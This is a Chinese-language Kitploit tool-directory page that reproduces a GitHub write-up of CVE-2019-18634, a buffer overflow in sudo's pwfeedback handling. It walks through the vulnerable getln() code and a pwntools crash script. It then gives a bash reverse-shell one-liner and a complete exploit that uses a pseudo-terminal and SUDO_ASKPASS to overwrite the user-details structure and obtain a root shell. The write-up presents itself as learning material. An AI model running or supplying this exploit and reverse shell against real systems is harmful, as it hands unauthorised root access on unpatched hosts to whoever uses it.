Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-18634 — 该仓库包含漏洞利用代码以及漏洞利用方式的解释。 | Kitploit
工具/GitHubGitHub/l0w3/cve-2019-18634
权限提升漏洞分析漏洞利用学习与教育Payload 开发二进制利用
GitHubl0w3/cve-2019-18634

CVE-2019-18634

该仓库包含漏洞利用代码以及漏洞利用方式的解释。

查看仓库
21年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-18634

CVE-2019-18634 是一个影响 Sudo 版本 < 1.8.25 的漏洞,当在 sudoers 文件中启用 pwfeedback 时触发。它允许攻击者通过利用基于BSS的缓冲区溢出将权限提升为 root,导致数据结构被篡改,使其认为自己正以 root 身份执行,从而不再询问密码并授予 root 权限。

漏洞发现

在本分析中,我将首先深入挖掘该漏洞的发现过程,通过分析代码来理解问题所在。NIST 的文章解释该漏洞位于 getln() 函数中,因此我们先来看看这个函数:

图像

我们可以看到,该函数从文件描述符中逐个字节读取 buffersize 次,如果读取到的字符是 sudo-term-kill,它将开始删除所有已发送的输入,将当前指针重置到起始位置,并再次将待读取字符数设置为 buffersize。

该漏洞存在于以下代码片段中:

root@kitploit:~
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)
//            ...

    while (--left) {
    	nr = read(fd, &c, 1);
    	if (nr != 1 || c == '\n' || c == '\r')
    	    break;
    	if (feedback) {
    	    if (c == sudo_term_kill) {
    		    while (cp > buf) {
    		      if (write(fd, "\b \b", 3) == -1)
    			      break;
    		      --cp;
    		    }
    		    left = bufsiz;
    		    continue;
    	    }
//            ...
    	}
    	*cp++ = c;
    }
//            ...
}

基本上,当存在 sudo-term-kill 字符时,如果写操作失败,它将不会递减缓冲区指针,而是重置可写入字符数的计数,从而有效地在该缓冲区上实现任意长度写入。

对所使用的代码和函数的深入分析显示,sudo-term-kill 字符被定义为一个全局未声明整数,这意味着除非从终端接收输入,否则它将被初始化为0,之后它将设置为 termios c_cc 结构中的值,根据文档描述为:

截图 2024-12-12 17:20:29

这里我不深入推导过程,但所有推导都可以通过查看 Sudo 仓库中 term.c 文件的源代码来复现。

完成这个小分析后,剩下的就是使程序崩溃并调试,以便我们可以看到存储了什么内容,以及如何利用它来获利。

触发

要触发利用,我们只需发送一个包含足够数据以溢出缓冲区并使程序崩溃的有效载荷。为此,我决定使用 Python 库 pwntools

root@kitploit:~
import pwn

payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())

执行后出现以下错误: image

很好!!段错误,说明我们覆盖了某些导致二进制执行崩溃的内容。现在,我们应该检查被覆盖的内容以及如何从中获利。

调试

为了调试该二进制程序,我们只需在发送有效载荷之前暂停进程的执行,然后附加调试器并继续执行。必须这样做,因为要调试 sudo 进程,需要利用 root 权限,但这会导致程序不再询问密码,而密码询问正是其漏洞所在。

基于此,我们继续查看缓冲区及后续内存地址中存储的内容: image

我们可以看到,除了缓冲区之外,还有其他几个数据结构被覆盖,这对于利用该漏洞可能很有趣。接下来,我决定查看这些数据结构在被覆盖之前的数据。为此,我执行了相同的脚本,但只覆盖了 buffersize 字节的数据,然后再次分析内存: image 正如我们所看到的,signo 数据结构全为0,除了位置548处的字节是 0x02。紧随其后的是 user-details 结构,在代码中它被称为运行 sudo 的用户详情。0x02 表示 -S 选项,如 sudo.h 文件中所定义。在同一文件中,还定义了另一个名为 Askpass 的选项,其中程序从环境变量中获取,并用作获取密码的辅助程序(而不是使用 TTY 或 STDIN)。有了这些信息,利用路径可能变得更清晰。我们或许能够设置一个自定义的辅助程序(比如,一个反向 shell),然后覆盖 user-details 以使其看起来像是 root 执行的 sudo。

利用

对于利用,仍有需要克服的问题:我们需要写入0来保留数据结构的原始数据,此外,我们还需要它们将用户详情设置为 root 的详情,因此我们不能使用标准输入,因为它不会写入0。幸运的是,我们知道,如果使用终端设备,终止字符是 0x15,这是一个我们完全不需要的字符。这就产生了一个问题:我们需要写操作失败,但终端设备是可写可读的,这意味着它们不会使写操作失败。经过一些研究,我发现了伪终端,它们本质上是可以由程序创建并控制的终端设备:image

通过 PTY,我们可以与主端通信,主端将与从端通信。如果我们将从端设置为只有读取权限,程序将永远无法写入它(从而失败),这意味着我们将能够触发利用。

一切就绪后,剩下的就是编写反向 shell

root@kitploit:~
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1

以及利用代码:

root@kitploit:~
import os
import pwn
import sys
####### 重要信息的偏移量 #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY 文件描述符 #######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### 以pty作为stdin并以rshell作为sudo askpass程序启动进程 #######
proc =  pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"进程已启动。将执行 {rshell} 作为载荷")
####### 监听器 #######
port = pwn.listen(4242)
####### 载荷 #######
pwn.log.info("发送载荷")
payload  = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')

port.wait_for_connection()
pwn.log.info("wo0t wo0t 欢迎回来,我的大人")
port.interactive()

使用这些,一个以 root 身份的反向 shell 被接收: image

下载工具